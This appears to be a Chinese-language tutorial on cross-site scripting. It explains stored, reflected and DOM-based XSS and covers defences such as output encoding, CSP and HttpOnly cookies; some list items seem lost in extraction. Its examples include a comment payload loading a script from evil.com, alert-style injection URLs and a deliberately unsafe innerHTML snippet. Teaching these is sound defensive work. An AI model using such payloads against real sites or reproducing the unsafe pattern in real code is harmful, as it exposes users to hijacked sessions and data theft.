今天我們來深入探討 Web 安全中一個極為普遍且影響深遠的漏洞——XSS (Cross-Site Scripting),跨站腳本攻擊。
首先要澄清一個常見的誤解:XSS 攻擊的主要目標不是網站伺服器本身,而是網站的使用者。攻擊者利用一個受信任的網站作為平台,將惡意腳本注入其中,當其他使用者瀏覽該網站時,這些惡意腳本就會在他們的瀏覽器中執行,從而竊取他們的資訊或冒充他們進行操作。
XSS 漏洞的根本原因在於:Web 應用程式將使用者提供的、未經充分處理的資料,直接嵌入到網頁的輸出中。
瀏覽器在解析 HTML 時,無法分辨一段腳本是網站開發者寫的合法功能,還是攻擊者注入的惡意程式碼。只要這段腳本是從它所信任的網域(例如 www.mybank.com
)來的,它就會無條件地執行。XSS 正是利用了瀏覽器的這種信任機制。
一個簡單的比喻:
想像一家咖啡廳(受信任的網站)有一面公共留言板。
在這個比喻中,咖啡廳的失職之處在於沒有審核留言板的內容,讓惡意指令得以展示給其他顧客。
根據惡意腳本注入和觸發方式的不同,XSS 主要分為三種類型:
範例:
很棒的文章!<script src="http://evil.com/malicious.js"></script>
malicious.js
這個惡意腳本。search.php?query=...
)範例:
https://example.com/search?query=你好
,頁面上會顯示「您搜尋的關鍵字是:你好」。https://example.com/search?query=<script>alert('XSS')</script>
<script>alert('XSS')</script>
的頁面,瀏覽器解析後就會執行這段腳本,彈出一個警告框。#
後的內容)所導致的。#
anchor 變化的地方。範例:
hash
的值來歡迎使用者,URL 為 https://example.com/welcome#David
,頁面會顯示「Welcome, David」。document.getElementById('welcome-msg').innerHTML = "Welcome, " + location.hash.substring(1);
https://example.com/welcome#<img src=1 onerror=alert('XSS')>
#
後的 HTML,並將其寫入頁面 DOM 中,導致 onerror
事件中的惡意腳本被執行。一旦惡意腳本在受害者的瀏覽器中執行,攻擊者就能:
防禦 XSS 的核心原則是永不信任任何來自使用者的輸入,並採取多層次防禦策略。
輸出編碼 (Output Encoding) - 最根本的防禦
在將任何使用者提供的資料輸出到 HTML 頁面之前,對其進行情境感知編碼 (Context-Aware Encoding)。這是為了告訴瀏覽器:「嘿,這段文字只是純粹的文字,請不要把它當作程式碼來執行。」
<
編碼為 <
,>
編碼為 >
。輸入驗證 (Input Validation)
對使用者的輸入,根據預期的格式進行嚴格的驗證(白名單機制)。例如,電話號碼欄位只應接受數字,年齡欄位只應接受 1-3 位數字。雖然這能過濾掉一些明顯的攻擊,但它不能作為唯一的防禦手段。
內容安全策略 (Content Security Policy, CSP)
這是一個非常強大的防禦機制。透過設定一個 HTTP 回應標頭,你可以告訴瀏覽器只信任並執行來自特定來源的腳本。CSP 可以有效地禁止行內腳本 (inline script) 和 eval()
的使用,即使攻擊者成功注入了腳本,瀏覽器也會因為 CSP 規則而拒絕執行它。
設定 HttpOnly Cookie 旗標
在設定 Session Cookie 時,加上 HttpOnly
旗標。這樣一來,瀏覽器將禁止頁面上的 JavaScript 存取這個 Cookie。這無法防止 XSS 漏洞,但可以極大地緩解其最主要的危害——Session Hijacking。
所以XSS 是一個潛伏在 Web 應用程式中的幽靈,它利用網站對使用者的信任來攻擊使用者。開發者必須時刻保持警惕,遵循「輸入驗證,輸出編碼」的黃金法則,並配合 CSP 等現代安全策略,才能有效地保護使用者免受其害。